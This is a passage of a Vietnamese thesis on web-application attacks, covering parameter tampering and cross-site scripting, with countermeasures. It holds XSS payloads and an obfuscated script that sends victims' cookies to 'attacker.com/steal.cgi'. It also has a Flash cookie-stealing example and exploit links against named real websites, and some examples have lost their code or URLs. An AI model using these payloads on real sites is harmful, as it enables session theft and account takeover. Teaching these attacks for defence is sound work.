Khoa CNTT Chương 2: Các khái niệm, thuật ngữ liên quan Các cookies của IE được lưu thành nhiều tập tin, mỗi tập tin là một cookie và được đặt trong [C:]\Documents and Setting\[username]\Cookies (Win2000), đối với win9x, thư mục cookies nằm trong thư mục [C:]\Windows\cookies. Kích thước tối đa của cookie là 4kb. Số cookie tối đa cho một tên miền là 20 cookie. Cookie bị hủy ngay khi đóng trình duyệt gọi là “session cookie”. V. PROXY Proxy cung cấp cho người sử dụng truy xuất Internet những nghi thức đặt biệt hoặc một tập những nghi thức thực thi trên dual_homed host hoặc basion host. Những chương trình client của người sử dụng sẽ qua trung gian proxy server thay thế cho server thật sự mà người sử dụng cần giao tiếp. Proxy server xác định những yêu cầu từ client và quyết định đáp ứng hay không đáp ứng, nếu yêu cầu được đáp ứng, proxy server sẽ kết nối với server thật thay cho client và tiếp tục chuyển tiếp những yêu cầu từ client đến server, cũng như trả lờicủa server đến client. Vì vậy proxy server giống cầu nối trung gian giữa server và client. -Trang 25-
Khoa CNTT Chương 3: Giới thiệu sơ lược về các kĩ thuật tấn công Chương 3 GIỚI THIỆU SƠ LƯỢC VỀ CÁC KĨ THUẬT TẤN CÔNG ỨNG DỤNG WEB Nội dung: I. Kiểm soát quyền truy cập Web II. Chiếm hữu phiên làm việc III. Lợi dụng các thiếu sót trong việc kiểm tra dữ liệ hập hợp lệ IV. Để lộ thông tin V. Từ chối dịch vụ -Trang 26-
Khoa CNTT Chương 3: Giới thiệu sơ lược về các kĩ thuật tấn công CHƯƠNG 3: GIỚI THIỆU SƠ LƯỢC VỀ CÁC KĨ THUẬT TẤN CÔNG ỨNG DỤNG WEB DE Sau đây là các khái niệm sơ lượccáckĩ thuậttấn công ứng dụng Web đã được phân loại dựa trên mức độ gây tác hại đối với ứng dụng. I. KIỂM SOÁT TRUY CẬP WEB (Web Access Control) I.1. Thâm nhập hệ thống qua cửa sau (Back door) Trong quá trình thiết kế ứng dụng, những người phát triển ứng dụng có thể cài một “cửa sau” (back door) để sau này có thể thâm nhập vào hệ thống một cách dễ dàng. II.CHIẾMHỮUPHIÊN LÀM VIỆC(Session Mangement) II.1. Ấn định phiên làm việc (Session Fixation) Là kĩ thuật tấn công cho phép hacker mạo danh người dùng hợp lệ bằng cách gửi một session ID hợp lệ đến người dùng, sau khi người dùng đăng nhập vào hệ thống thành công, hacker sẽ dùng lại session ID đó và nghiễm nhiên trở thành người dùng hợp lệ. II.2. Đánh cắp phiên làm việc (Session Hijacking) -Trang 27-
Khoa CNTT Chương 3: Giới thiệu sơ lược về các kĩ thuật tấn công Là kĩ thuật tấn công cho phép hacker mạodanhngười dùng hợp lệ sau khi nạn nhân đã đăng nhập vào hệ thống bằng cách giải mã session ID của họ được lưu trữ trong cookie hay tham số URL, biến ẩn của form. III. LỢI DỤNG CÁC THIẾU SÓT TRONG VIỆC KIỂM TRA DỮ LIỆU NHẬP HỢP LỆ (Input validation) Hacker lợidụng những ô nhập dữ liệu để gửi đi một đoạn mã bất kì khiến cho hệ thống phải thực thi đoạn lệnh đó hay bị phá vỡ hoàn toàn. III.1. Kiểm tra tính đúng đắn của dữ liệu bằng ngôn ngữ phía trình duyệt (Client-Side validation) Do ngôn ngữ phía trình duyệt ( JavaScript, VBScript ) đuợc thực thi trên trình duyệt nên hacker có thể sửa đổi mã nguồn để có thể vô hiệu hóa sự kiểm tra. III.2. Tràn bộ đệm (Buffer OverFlow) Một khối lượng dữ liệu được gửi cho ứng dụng vượt quá lượng dữ liệu được cấp phát khiến cho ứng dụng không thực thi được câu lệnh dự định kế tiếp mà thay vào đó phải thực thi một đoạn mã bất kì do hacker đưa vào hệ thống. Nghiêm trọng hơn nếu ứng dụng được cấu hình để thực thi với quyền root trên hệ thống. III.3. Mã hoá URL (URL Encoding) Lợi dụng chuẩn mã hóa những kí tựđặc biệt trên URL mà hacker sẽ mã hoá tự động những kí tự bất hợp lệ-những kí tự bị kiểm tra bằng ngôn ngữ kịch bản-để vượt qua vòng kiểm soát này. III.4. Kí tự Meta (Meta-characters) -Trang 28-
Khoa CNTT Chương 3: Giới thiệu sơ lược về các kĩ thuật tấn công Sử dụng những kí tựđặc biệt ( nói rõ hơn trong phần phụ lục) hacker có thể chèn thêm vào dữ liệu gửi những kí tự trong chuỗi câu lệnh như trong kĩ thuật XSS, ‘ trong SQL .để thực thi câu lệnh. III.5. Vượt qua đường dẫn (Path Traversal): Là phương pháp lợi dụng đường dẫn truy xuất một tập tin trên URL để trả kết quả về cho trình duyệt mà hacker có thể lấy được nội dung tập tin bất kì trên hệ thống. III.6. Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross- Site Scripting): Đây là kĩ thuật tấn công chủ yếu nhằm vào thông tin trên máy tính của người dùng hơn là vào hệ thống máy chủ. Bằng cách thêm một đoạn mã bất kì ( thường được lập trình bằng ngôn ngữ kịch bản như JavaScript, VBScript ), hacker có thể thực hiện việc đánh cắp thông tin quan trọng như cookie để từ đó trở thành người dùng hợp lệ của ứng dụng dựa trên những thông tin đánh cắp này. Cross- Site scripting cũng là một kiểu tấn công “session hijacking”. III.7. Thêm câu lệnh hệ thống (OS Command Injection): Khả năng thực thi được những câu lệnh hệ thống hay những đoạn mã được thêm vào trong những tham số mà không có sự kiểm tra chặt chẽ như tham số của form, cookies, yêu cầu HTTP Header, và những dữ liệu nguy hiểm trong những tập tin được đưa lên trình chủ. Thành công trong kĩ thuật này giúp hacker có thể thực thi được những câu lệnh hệ thống với cùng quyền của trình chủ. -Trang 29-
Khoa CNTT Chương 3: Giới thiệu sơ lược về các kĩ thuật tấn công III.8. Chèn câu truy vấn SQL (SQL Injection) Trong lập trình với cơ sở dữ liệu, người lập trình đã sai sót trong vấn đề kiểm tra giá trị nhập vào để từ đó hacker lợi dụng thêm vào những câu truy vấn hay những giá trị không hợp lệ để dễ dàng đăng nhập vào hệ thống. III.9. Ngôn ngữ phía máy chủ (Server side includes) Là khả năng thêm vào những câu lệnh thuộc hệ thống như nhúng file (include file), truy xuất cơ sở dữ liệu (jdbc) khiến cho hacker có cơ hội truy xuất đến file, cơ sở dữ liệu mà bình thường không thể xem được trên Web site. III.10. Kí tự rỗng (Null Characters) Lợi dụng chuỗi kí tự thường kết thúc bằng \0 mà hacker thường thêm vào để đánh lừa ứng dụng vì với những ứng dụng sử dụng chương trình cgi như C++ thì C++ cho rằng \0 là dấu kết thúc chuỗi. Ví dụ: Hacker thêm chuỗi sau: Ô nhập: đề tài thứ nhất\0 alert(document.cookie) nếu ứng dụng sử dụng chương trình C++ để kiểm tra tính đúng đắn của chuỗi thì chuỗi trên hợp lệ do C++ sẽ nhân biết “\0” là kết thúc chuỗi nên không kiểm tra đoạn sau III.11. Thao tác trên tham số truyền (Parameter manipulation) Những thông tin trao đổi giữa trình chủ và trình duyệt được lưu trữ trong những biến như biến trên URL, biến ẩn form, cookie Bởi vì việc kiểm soát biến chưa -Trang 30-
Khoa CNTT Chương 3: Giới thiệu sơ lược về các kĩ thuật tấn công được quan tâm đúng mức nên hacker có thể lợi dụng sửa đổi giá trị biến để đánh cắp phiên làm việc của người dùng hay thay đổi giá trị một món hàng . IV. ĐỂ LỘ THÔNG TIN (informational) Những tập tin và ứng dụng trên hệ thống chứa những thông tin quan trọng như mã nguồn một trang Web hay tập tin chứa mật khẩu của người dùng trên hệ thống luôn là mục tiêu của hacker. Ngoài ra những lời chú thích trong mã nguốn cũng là nguồn thông tin hữu ích cho hacker. Hacker sử dụng trả lời HTTP từ hệ thống để xác định một tập tin hay ứng dụng có tồn tại hay không. Ví dụ 1.IV-1: • HTTP 200 : tập tin tồn tại • HTTP 404: tập tin không tồn tại. V.TỪ CHỐI DỊCH VỤ (Denial of service (DoS) Một khối lượng lớn yêu cầu được gửi cho ứng dụng trong một khoảng thời gian nhất định khiến hệ thống không đáp ứng kịp yêu cầu dẫn đến hệ thống bị phá vỡ. Vì khuôn khổ và thời gian của luận văn là có hạn nên luận văn chỉ thực hiện tìm hiểu một số kĩ thuật phổ biến và khả năng phá hoại một hệ thống mạng với mức độ cao. Và trong các chương ở phần thứ hai, luận văn sẽ trình bày kĩ hơn từng kĩ thuật sau : • Thao tác trên tham số truyền • Chèn mã lệnh thực thi trên trình duyệt • Chèn câu truy vấn SQL • Chiếm hữu phiên làm việc -Trang 31-
Khoa CNTT Chương 3: Giới thiệu sơ lược về các kĩ thuật tấn công • Tràn bộđệm • Từ chối dịch vụ • Một vài kĩ thuật khác o Kí tự rỗng o Mã hóa URL o Lợi dụng truy xuất đường dẫn đến một tập tin o Ngôn ngữ phía trình chủ -Trang 32-
Khoa CNTT Phần II: Các kĩ thuật tấn công và bảo mật ứng dụng Web PHẦN THỨ HAI CÁC KĨ THUẬT TẤN CÔNG VÀ BẢO MẬT ỨNG DỤNG WEB -Trang 33-
Khoa CNTT Chương 4: Thao tác trên tham số truyền Chương 4 THAO TÁC TRÊN THAM SỐ TRUYỀN Nội dung: I. Thao tác trên URL II. Thao tác trong biến ấn form III. Thao tác trên cookie IV. Thao tác trong HTTP Header -Trang 34-
Khoa CNTT Chương 4: Thao tác trên tham số truyền CHƯƠNG 4:THAO TÁC TRÊN THAM SỐ TRUYỀN DE Thao tác trên tham số truyền là kĩ thuật thay đổi thông tin quan trọng trên cookie, URL hay biến ẩn của form. Kĩ thuật Cross-Site Scripting, SessionID, SQL Injection, Buffer Overflow cũng cần dùng đến các tham số này để hoàn thiện các bước tấn công của hacker. Có thể nói các tham số truyền là đầu mối cho mọi hoạt động của hacker trong quá trình tấn công ứng dụng. Vì thế đây là nội dung chương đầu tiên được đề cập trong phần thứ hai, mục đích cũng là để hỗ trợ tốt hơn phần trình bày các chương kế tiếp. I. THAO TÁC TRÊN URL I.1. Khái niệm: Khi nhập một form HTML thì kết quả sẽ được gửi đi theo hai cách: GET hay POST. Nếu dùng GET, thì tất cả các tên biến và giá trị của nó sẽ xuất hiện trong chuỗi URL. Ví dụ 4.I.1-1: Có một trang web ứng dụng cho phép thành viên đã được thay đổi mật khẩu. Với: + username là tên người cần thay đổi mật khẩu. + newpass là mật khẩu mới cho username Tuy nhiên, bằng cách thay đổi tham số như sau: -Trang 35-
Khoa CNTT Chương 4: Thao tác trên tham số truyền Hacker đã có thể thay đổi mật khẩu của admin bằng một mật khẩu mới bất kì, trong ví dụ này là ‘1111111’ I.2. Một số biện pháp khắc phục Để chống lại kiểu thay đổi nội dung một chuỗi URL, ứng dụng có thể áp dụng biện pháp sau: • Ứng dụng sử dụng cơ chế bảng băm (hash table). Sau khi người dùng chứng thực thành công với một username , ứng dụng sẽ sinh ra một khoá tương ứng. Khoá này sẽ được lưu trên server cùng với biến username trong đối tượng bảng băm. Mỗi khi người dùng kết nối đến ứng dụng, khoá và username này sẽ được gửi đi và được so sánh với khoá và username trong bảng băm. Nếu tương ứng với bản ghi trong dữ liệu thì hợp lệ. Còn nếu không thì server biết rằng người dùng đã thay đổi URL. • Ngoài ra, với những thông tin có giá trị, cần mã hoá thông tin này trước khi cho hiển thị trên trình duyệt để tránh hacker có thể sửa đổi tùy ý. II. THAO TÁC TRÊN BIẾN ẨN FORM II.1. Khái niệm Thông tin có thể được chuyển đổi thông qua một biến ẩn của form, gọi là Hidden Form Field. Biến ẩn form không hiển thị trên màn hình trình duyệt nhưng người dùng có thể tìm thấy nội dung của nó trong “ view source ”, vì thế đây là một điểm yếu để hacker lợi dụng bằng cách lưu nội dung trang web xuống trình duyệt, thay đổi nội dung trang và gửi đến trình chủ. -Trang 36-
Khoa CNTT Chương 4: Thao tác trên tham số truyền Ví dụ 4.II.1-1: Form gốc có nội dung như sau: Nếu không có sự thay đổi nào thì yêu cầu đến trình chủ có nội dung : POST /cuahang.pl HTTP/1.0 giaca=99.99 Nhưng nếu hacker gán một giá trị khác cho trường “giaca” : thì yêu cầu sẽ thay đổi: POST /cuahang.pl HTTP/1.0 giaca=0.99 Ngoài việc thay đổi nội dung biến ẩn của form, hacker còn biến đổi nội dung các thành phần trong form, như chiều dài của một ô nhập dữ liệu để thực hiện việc tấn công “BUFFER OVERFLOW”, -Trang 37-
Khoa CNTT Chương 4: Thao tác trên tham số truyền II.2. Một số biện pháp khắc phục • Chỉ nên sử dụng biến ẩn của form để hiển thị dữ liệu trên trình duyệt, không được sử dụng giá trị của biến để thao tác trong xử lí ứng dụng. • Dùng biến HTTP_REFERER để kiểm tra nguồn gốc của yêu cầu gửi đến, tuy nhiên hacker có thể sử dụng Proxy để che dấu nguồn gốc thực của nó, vì vậy cũng không nên quá tin tưởng biến HTTP_REFERER để kiểm tra. • Ghép tên và giá trị của biến ẩn thành một chuỗi đơn. Sử dụng thuật toán mã hoá MD5 hoặc một kiểu hash một chiều khác để tổng hợp chuỗi đóvà lưu nó vào một hidden field gọi là “Chuỗi mẫu”. Khi giá trị trong form được gửi đi, các thao tác như trên được thực hiện lại với cùng một khoá mà ta định trước. Sau đó đem so sánh với“Chuỗi mẫu”, nếu chúng không khớp nhau thì chứng tỏ giá trị trong biểu mẫu đã bị thay đổi. • Dùng một sessionID để tham chiếu đến thông tin được lưu trữ trên cơ sở dữ liệu. -Trang 38-
Khoa CNTT Chương 4: Thao tác trên tham số truyền III. THAO TÁC TRÊN COOKIE III.1. Khái niệm Ở phần thứ nhất, chương 2, mụcIV, luận văn đã trình bày cơ bản khái niệm về cookie. Trong mục này, luận văn chỉ trình bày cách thay đổi một cookie. Vì cookie là thành phần lưu trữ thông tin bảo mật nhất nên Cookie thường được dùng để lưu giữ trạng thái cho giao thức HTTP hơn là biến ẩn form và biến URL. Nó còn được dùng để lưu trữ những thông tin của người dùng khi sử dụng ứng dụng và những dữ liệu khác của session. Tất cả các loại cookie như persistent hay non-persistent, secure hay insecure đều có thể bị thay đổi bởi người dùng và được gởi về cho trình chủ. Do đóhackercó thể thay đổi nội dung cookie để phá hoại ứng dụng. Với những công cụ miễn phí như Winhex thì non-persistent cookie có thể bị thay đổi nội dung. Còn SSL chỉ có thể bảo vệ cookie trong quá trình truyền. Ví dụ 4.III.1-1: về cookie dùng để lưu trữ thông tin cho ứng dụng web thông tin du lịch: Cookie: lang=en-us; ADMIN=no; y=1 ; time=10:30GMT ; Cookie xác định người dùng này không phải là Admin (ADMIN=no), nhưng nếu hacker thay đổi trường này điều gì sẽ xảy ra? Hacker có thể thay đổi lại thành như sau: Cookie: lang=en-us; ADMIN=yes; y=1 ; time=12:30GMT ; Hacker lúc này mang vai trò là mộtngười quản trị của ứng dụng. -Trang 39-
Khoa CNTT Chương 4: Thao tác trên tham số truyền III.2. Một số biện pháp khắc phục • Sử dụng đối tượng session lưu trữ thông tin quan trọng trên trình chủ. Khi ứng dụng cần kiểm tra thông tin của một người dùng, ứng dụng sẽ dùng sessionID của người dùng để chỉ đến thông tin của người dùng đó trong cache hay cơ sở dữ liệu. • Xây dựng một cơ chế kiểm tra nội dung của cookie để tìm ra những giá trị không hợp lệ từ đó biết được cookie đó là giả. Ví dụ là nếu biến cờ “người quản trị” được được thiết lập là đúng trong cookie, nhưng giá trị của số thứ tự người dùng trong cookie lại không giống như giá trị số thứ tự của “người quản trị” được lưu trữ trên server. • Phương pháp cuối cùng là mã hoá cookie. Có một số phương pháp mã hoá như symmetric (dùng 1 khóa duy nhấtcho cả mã hóa và giải mã) hay asymmetric (mã hóa dùng 2 khóa riêng biệt, một khóa dùng chung cho mã hóa và một khóa riêng để giải mã) IV. THAO TÁC TRONG HTTP HEADER URL, biến ẩn form, cookie đều là những thành phần lưu trữ thông tin mà người dùng thông thường có thể xem và thay đổi. Tuy nhiên, những thành phần đó đều được chuyển đi thông qua HTTP Header. Vì thế, mặc dù HTTP Header không phải là tham số truyền của một ứng dụng nhưng mọi thông tin đều được lưu trữ vào nó trước khi chuyển đi nên trong phần này sẽ đề cập đến việc thay đổi một HTTP Header. IV.1. Khái niệm Thông thường chỉ có trình duyệt và trình chủ là trao đổi HTTP Header ( xem chi tiết trong phần thứ nhất, chương 2, mục II), còn hầu hết các ứng dụng web thì -Trang 40-
Khoa CNTT Chương 4: Thao tác trên tham số truyền không. Tuy nhiên, hacker có thể tự viết một chương trình để điều khiển HTTP header (như xem nội dung, tạo mới) hay sử dụng các proxy miễn phí cho phép thay đổi dữ liệu được gửi từ trình duyệt. Ngoài ra hacker có thể tấn công trực tiếp bằng cách telnet gửi HTTP Request đến trình chủ. Ví dụ 4.IV.1-1: su-2.05# telnet localhost 80 Trying 127.0.0.1 Connected to localhost. Escape character is '^]'. GET / HTTP/1.0 Referer: www.redhat.com/login.asp User-Agent: HTTP/1.1 200 OK Date: Mon, 17 Dec 2001 20:39:02 GMT Server: Connection: close Content-Type: text/html Phần in đậm là nội dung hacker thay đổi. Ví dụ 4.IV.1-2: Referer header chứa URL của trang web mà từ đó yêu cầu được gửi đi. Vì thế một vài ứng dụng sẽ kiểm tra thành phần này trong header để đảm bảo rằng nó được gửi từ trang web của ứng dụng đó. Việc làm này dùng để ngăn chặn việc hacker lưu lại trang web xuống máy, chỉnh sửa thuộc tính form, phá hoại bằng cách nhằm vào client side validate hay server side include, sau đó gửi đi. Nhưng phương pháp kiểm tra này sẽ thất bại khi hacker có thể sửa lại Referer header để nó giống như được gửi từ trang web hợp lệ. -Trang 41-
Khoa CNTT Chương 4: Thao tác trên tham số truyền Referer: www.redhat.com/login.asp IV.2. Một số biện pháp khắc phục Đơn giản là không tin tưởng vào HTTP header nếu chưa có các biện pháp an toàn. Với các header gửi từ trình chủ, chẳng hạn như cookie thì có thể được mã hoá. Còn với các header gửi từ trình khách thì không nên dùng các tham số như referer, để thực hiện các biện pháp an toàn. Nhận xét: Mọi thông tin quan trọng trao đổi giữa trình duyệt và trình chủ không nên lưu trữ dướidạng chuỗi thông thường mà cần được mã hóa, ngoài ra những thông tin này nên được kiểm tra, đối chiếu với dữ liệu trong cơ sở dữ liệu hay trong cache của trình chủ, phòng tránh trường hợp nội dung thông tin bị sai lệch. Bên cạnh đó, việc kiểm tra dữ liệu đúng đắn là cần thiếtvìhầu như các kĩ thuật tấn công đều dựa vào dữ liệu nhậptrên URL, biến ẩn form hay cookie như kiểu tấn công Cross-Site Scripting trong chương kế tiếp hay SQL Injection trong chương 6 -Trang 42-
Khoa CNTT Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Site Scripting) Chương 5 CHÈN MÃ LỆNH THỰC THI TRÊN TRÌNH DUYỆT NẠNNHÂN Nội dung: I. Cross Site Scripting (XSS) II. Phương pháp tấn công XSS truyền thống. III. Một số WebSite tìm thấy lỗ hổng XSS. IV. Tấn công XSS bằng Flash. V. Cách phòng chống. -Trang 43-
Khoa CNTT Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Site Scripting) CHƯƠNG 5: CHÈN MÃ LỆNH THỰC THI TRÊN TRÌNH DUYỆT NẠN NHÂN (CROSS SITE SCRIPTING) DE I. KĨ THUẬT TẤN CÔNG CROSS SITE SCRIPTING (XSS) Phương pháp Cross Site Scripting (được viết tắt là XSS) là phương pháp tấn công bằng cách chèn thêm những đoạn mã có khả năng đánh cắp hay thiết lập được những thông tin quan trọng như cookies, mật khẩu, vào mã nguồn ứng dụng web để từ đó chúng được chạy như là một phần của ứng dụng Web và có chức năng cung cấp hoặc thực hiệnnhững những điềuhackermuốn. Phương pháp này không nhằm vào máy chủ hệ thống mà chủ yếu tấn công trên chính máy người sử dụng. Hacker sẽ lợi dụng sự kiểm tra lỏng lẻo từ ứng dụng và hiểu biết hạn chế của người dùng cũng như biết đánh vào sự tò mò của họ dẫn đến người dùng bị mất thông tin một cách dễ dàng. Thông thường hacker lợi dụng địa chỉ URL để đưa ra những liên kết là tác nhân kích hoạt những đoạn chương trình được viết bằng ngôn ngữ máy khách như VBScript, JavaScript được thực thi trên chính trình duyệt của nạn nhân. Ví Dụ 5.I-1: alert (document.cookie); -Trang 44-
Khoa CNTT Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Site Scripting) hay:  xt=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E Phần in đậm là đoạn mã được thêm vào với mục đích đánh cắp cookies của nạn nhân. Trong những ví dụ 2.I-1 trên, hầu hết những tiền tố URL là địa chỉ của những ứng dụng Web có thật (VD: ) lợi dụng cách truyền tham số trên URL mà hacker có thể dễ dàng thêm vào đoạn mã đánh cắp cookie. Ví dụ 5.I-1 trên chỉ minh họamộtcách đơn giản là thêm đoạn mã của mình vào trang Web thông qua URL. Nhưng thực sự thì có rất nhiều cách để thêm đoạn mã JavaScript với mục đích tấn công kiểu XSS. Hacker có thể dễ dàng lợi dụng Document Object Model (DOM) để thay đổi ngữ cảnh và nội dụng Web ứng dụng. Sau đây là danh sách nơi có thể chèn đoạn mã: Ví dụ 5.I-2: & [code] &{[code]}; -Trang 45-
Khoa CNTT Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Site Scripting) (tài liệu từ Phần in đậm là phần có thể đặt đoạn mã đánh cắp thông tin. II. PHƯƠNG PHÁP TẤN CÔNG XSS TRUYỀN THỐNG Ứng dụng Web thường lưu trữ thông tin quan trọng ở cookie. Cookie là mẩu thông tin mà ứng dụng lưu trên đĩa cứng của người sử dụng. Nhưng chỉ ứng dụng thiết lập ra cookie thì mới có thể đọc nó. Do đó chỉ khi người dùng đang trong phiên làm việc của ứng dụng thì hacker mới có cơ hội đánh cắp cookie. Công việc đầu tiên của hacker là tìm trang đích để dụ người dùng đăng nhập sau khi đã tìm ra lỗ hổng trên ứng dụng đó. Các bước thực hiện XSS truyền thống: -Trang 46-
Khoa CNTT Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Site Scripting) Hình 5.II-1. Quá trình thực hiện XSS Tóm tắt các bước thực hiện: • Bước 1: Hacker biết được người dùng đang sử dụng một ứng dụng Web có lỗ hỏng XSS. • Bước 2: Người dùng nhận được 1 liên kết thông qua email hay trên chính trang Web (như trên guestbook, banner dễ dàng thêm 1 liên kết do chính hacker tạo ra ). Thông thường hacker khiến người dùng chú ý bằng những câu kích thích sự tò mò của người dùng như “ Kiểm tra tài khoản”, “Một phần thưởng hấp dẫn đang chờ bạn” • Bước 3: Chuyểnnội dung thông tin (cookie, tên, mật khẩu ) về máy chủ của hacker. • Bước 4: Hacker tạo một chương trình cgi (ở ví dụ 3 này là steal.cgi) hoặc một trang Web để ghi nhận những thông tin đã đánh cắp vào 1 tập tin • Bước 5: Sau khi nhận được thông tin cần thiết, hacker có thể sử dụng để thâm nhập vào tài khoản của người dùng. -Trang 47-
Khoa CNTT Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Site Scripting) Ví dụ 5.II-1: Để khai thác lỗ hổng trên ứng dụng hotwired.lycos.com, hacker có thể thực hiện như sau : Look at this! Sau khi người dùng nhấp vào liên kết “Một phần thưởng hấp dẫn đang chờ bạn”, cookie trên máy nạn nhân sẽ bị đánh cắp và là tham số truyền vào cho chương trình steal.cgi của hacker. 20100000000;%20p_uniqid=8sJgk9daas7WUMxV0B;%20gv_titan_20=5901=10195 11286 Vấn đề đặt ra là có thể người lập trình sẽ bảo vệ ứng dụng Web của mình bằng cách lọc những kí tự đặc biệt như ‘, hay + (có thể tránh trường hợp dùng dấu ‘ để thực hiện câu truy vấn SQL chẳng hạn) Nhưng hacker có thể lợi dụng mã hex thay cho những kí tựđặc biệt để tấn công. Thay thế bằng những số hex cho những kí tự ASCII. Ví dụ 5.II-2: -Trang 48-
Khoa CNTT Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Site Scripting) h -> 0x0068 t -> 0x0074 t -> 0x0074 p -> 0x0070 : -> 0x003A / -> 0x002F Sau đây là ví dụ trong cách dùng mã hex trong ứng dụng web. Ví dụ 5.II-3: Look at this! va r u = String.fromCharCode(0x0068);u %2B= String.fromCharCode(0x0074);u %2B= String.fromCharCode(0x0074); u %2B= String.fromCharCode(0x0070);u %2B= String.fromCharCode(0x003A); u %2B= String.fromCharCode(0x002F);u %2B= String.fromCharCode(0x002F); u %2B= String.fromCharCode(0x0061);u %2B= String.fromCharCode(0x0074); u %2B= String.fromCharCode(0x0074);u %2B= String.fromCharCode(0x0061); -Trang 49-
Khoa CNTT Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Site Scripting) u %2B= String.fromCharCode(0x0063);u %2B= String.fromCharCode(0x006B); u %2B= String.fromCharCode(0x0065);u %2B= String.fromCharCode(0x0072); u %2B= String.fromCharCode(0x002E);u %2B= String.fromCharCode(0x0063); u %2B= String.fromCharCode(0x006F);u %2B= String.fromCharCode(0x006D); u %2B= String.fromCharCode(0x002F);u %2B= String.fromCharCode(0x0073); u %2B= String.fromCharCode(0x0074);u %2B= String.fromCharCode(0x0065); u %2B= String.fromCharCode(0x0061);u %2B= String.fromCharCode(0x006C); u %2B= String.fromCharCode(0x002E);u %2B= String.fromCharCode(0x0063); u %2B= String.fromCharCode(0x0067);u %2B= String.fromCharCode(0x0069); u %2B= String.fromCharCode(0x003F); u %2B=document.cookie;document.location.replace(u); " onMouseOver="window.status=’ ml';return true" onMouseOut="window.status='';return true">Một phần thưởng hấp dẫn đang chờ bạn III. MỘT SỐ WEBSITE TÌM THẤY LỖ HỔNG XSS Tên công ty Domain Những liên kết bị khai thác NBC -Trang 50-
Khoa CNTT Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Site Scripting) nbc.com alert(document.cookie) &frompa ge=4 &page=1&ct=VVTV&mh=0&sh=0&RN=1 Microsoft osoft.com/ &target= MCTN &target= alert(document.cookie) Chase se.com/ e= alert(document.cookie) &urlname=smallbusiness/direct EBay co.uk/ cgi/eBayISAPI.dll?SSLRegisterShow &countryid=3&siteId=3&co_partnerId=0&UsingSS L=1 &aolemail= alert(document.cookie) Oracle Japan le.co.jp/ m_search_exe? search_text= alert(document.cookie) IV. TẤN CÔNG XSS BẰNG FLASH Ngoài những cách đưamột đoạn mã nguy hiểm thì hacker còn có thể lợi dụng những tập tin flash để đánh cắp thông tin. -Trang 51-
Khoa CNTT Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Site Scripting) Macromedia Flash cho phép lập trình bằng một ngôn ngữ kịch bản đã được xây dụng sẵn trong Flash là ActionScript. ActionScript có cú pháp đơn giảnvà tương tự như JavaScript, C hay PERL. Ví dụ hàm getURL() dùng để gọi một trang web khác, tham số thường là một URL chẳng hạn như “ ”. Ví dụ 5.IV-1: getURL(“ ”) Tuy nhiên có thể thay thế URL bằng JavaScript: getURL(“javascript:alert(document.cookie)”) Ví dụ 5.IV-1 trên sẽ làm xuất hiện bảng thông báo chứa cookie của trang web chứa tập tin flash đó. Như vậy là trang web đó đã bị tấn công, bằng cách chèn một đoạn JavaScript vào ứng dụng Web thông qua tập tin flash. Một ví dụ khác rõ hơn về cách tấn công này là: Đây là đoạn lệnh trong tập tin flash và sẽđược thi hành khi tập tin flash được đọc: getURL(“javascript:location(‘ ’+do cument.cookie)”) Như vậy là khi người dùng xem trang web chứa tập tin flash này thì ngay lập tức cookie của họ do trang web chứa tập tin flash đó tạo ra sẽ gửi về cho hacker. -Trang 52-
Khoa CNTT Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Site Scripting) Hình 5.IV-2: Cách viết Action Scipt trong Flash Ví dụ 5.IV-2: DeviantArt là một trang web nổi tiếng, cho phép thành viên của nó gửi các tập tin flash lên cho mọi thành viên cùng xem. Vì thế hacker có thể ăn cắpcookiecủa các thành viên và cũng có thể là tài khoản của người quản trị web, bằng cách đăng kí làm thành viên của ứng dụng Web này, gửitập tin flash lên máy chủ và đợi các nạn nhân xem tập tin flash đó. Dưới đây là địa chỉ liên kết dến một tập tin flash nhưđãtrình bày trong ví dụ 5.IV-2: Ngoài ra các trang web cho phép thành viên gửi dữ liệu dạng HTML như diễn đàn, các chức năng tạo chữ kí riêng, cũng có thể là mục tiêu của cách tấn công này, bằng cách nhập đoạn mã gọi tập tin flash vào. <OBJECT classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase=" wflash.cab#version=6,0,0,0" WIDTH="60" -Trang 53-
Khoa CNTT Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Site Scripting) HEIGHT="48" id="1" ALIGN=""> V. CÁCH PHÒNG CHỐNG • Với những dữ liệu, thông tin nhập của người dùng, người thiết kếứng dụng Web cần phải thực hiện vài bước cơ bản sau: o Tạo ra danh sách những thẻ HTML được phép sử dụng. o Xóa bỏ thẻ o Lọc ra bất kì một đoạn mã JavaScript/Java/VBScript/ActiveX/Flash Related nào. o Lọc dấu nháy đơn hay kép o Lọc kí tự Null ( vì khả năng thêm một đoạn mã bất kì sau kí tự Null khiến cho ứng dụng dù đã lọc bỏ thẻ vẫn không nhận ra do ứng dụng nghĩ rằng chuỗi đã kết thúc từ kí tự Null này). -Trang 54-
